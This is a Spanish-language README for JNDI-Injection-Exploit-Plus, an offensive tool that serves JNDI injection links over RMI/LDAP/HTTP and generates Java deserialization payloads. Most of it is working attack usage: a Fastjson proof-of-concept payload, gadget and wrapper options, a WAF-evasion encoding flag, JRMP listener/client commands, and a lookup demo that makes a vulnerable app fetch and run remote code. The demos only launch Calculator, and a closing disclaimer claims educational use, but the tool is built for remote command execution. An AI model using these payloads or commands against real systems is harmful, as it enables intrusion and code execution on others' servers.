JNDI-Injection-Exploit-Plus

中文 README

Descripción

JNDI-Injection-Exploit-Plus es una herramienta para generar enlaces JNDI funcionales y proporcionar servicios en segundo plano iniciando servidores RMI, LDAP y HTTP.

Usando esta herramienta puedes obtener enlaces JNDI, puedes insertar estos enlaces en tu POC para probar vulnerabilidades.

Por ejemplo, este es un POC de vulnerabilidad Fastjson:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Podemos reemplazar "rmi://127.0.0.1:1099/Object" con el enlace generado por JNDI-Injection-Exploit-Plus para probar la vulnerabilidad.

Además, también puedes usar JNDI-Injection-Exploit-Plus para generar payloads de tipo base64/hex como ysoserial

Más que JNDI-Injection-Exploit

JNDI-Injection-Exploit es una gran herramienta, esta es la versión plus de la misma.

Novedades

1. Más gadgets de referencia remota JNDI: (total: 3)

• Compatible con JDK 6/7/8

2. Más gadgets de referencia local JNDI: (total: 4)

3. Gadgets de Deserialización (total: 75)

Nota: Más gadgets (⬆️ ) que ysoserial, ¡bienvenidos PRs! ^_^

4. Generar y exportar payloads

Como ysoserial.

Puedes generar los payloads de deserialización con salida de tipo Base64 o HEX.

5. Wrapper

Algunos Wrappers para envolver datos de deserialización.

• Ejemplo

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusión

Ocultar nombre de clase para evitar WAF.

• Ejemplo

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Referencia: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Servicio web para devolver Gadgets de Deserialización

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

Nota: Los parámetros wrapper y output son opcionales.

Uso

Enlaces JNDI

Ejecutar como

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-A] [dirección]

donde:

• -C - comando ejecutado en el archivo de clase remoto.

  (opcional, comando por defecto es "open /Applications/Calculator.app")

• -A - la dirección de tu servidor, puede ser una IP o un dominio.

  (opcional, dirección por defecto es la primera dirección de interfaz de red)

Puntos a tener en cuenta:

• asegúrate de que los puertos de tu servidor (1099, 1389, 8180) estén disponibles.

  o puedes cambiar el puerto por defecto en la clase run.ServerStart.

• tu comando se pasa a Runtime.getRuntime().exec() como parámetros,

  por lo que debes asegurarte de que tu comando sea funcional en el método exec().

  Los comandos en bash como "bash -c ...." necesitan añadir comillas dobles.

Payloads de Deserialización

Ejecutar como

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-D] [Gadget] [-O] [base64/hex]

donde:

• -C - comando ejecutado en el archivo de clase remoto.

  (opcional, comando por defecto es "open /Applications/Calculator.app")

• -D - El nombre del payload del gadget de deserialización.

• -O - (Opcional) El tipo de salida de deserialización, por defecto es base64

Exploits de Deserialización

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <puerto> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<puerto>" -D "JRMPClient" -O base64

Ejemplos

Enlaces JNDI

Demo local:

1. Inicia la herramienta así:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Captura de pantalla:

   

2. Supongamos que inyectamos los enlaces JNDI como rmi://ADDRESS/remoteExploit8 generados en el paso 1 en una aplicación vulnerable que puede ser atacada mediante inyección JNDI.

   En este ejemplo, se ve así:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   entonces cuando ejecutamos este código, el comando se ejecutará y el registro se imprimirá en la shell:

   

Para más ejemplos: Test-JNDI-Injection-Exploit-Plus

Payloads de Deserialización

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Resultado de salida Base64:

Instalación

Podemos seleccionar uno de los dos métodos para obtener el jar.

1. Descarga el último jar desde Realease.

2. Clona el código fuente localmente y compílalo (requiere Java 1.8+ y Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

Nota. ‼️ Si obtienes un error como "java.rmi.xxx does not exists", debes configurar la variable de entorno JAVA_HOME.

Descargo de responsabilidad

Toda la información y el código se proporcionan únicamente con fines educativos y/o para probar tus propios sistemas para estas vulnerabilidades.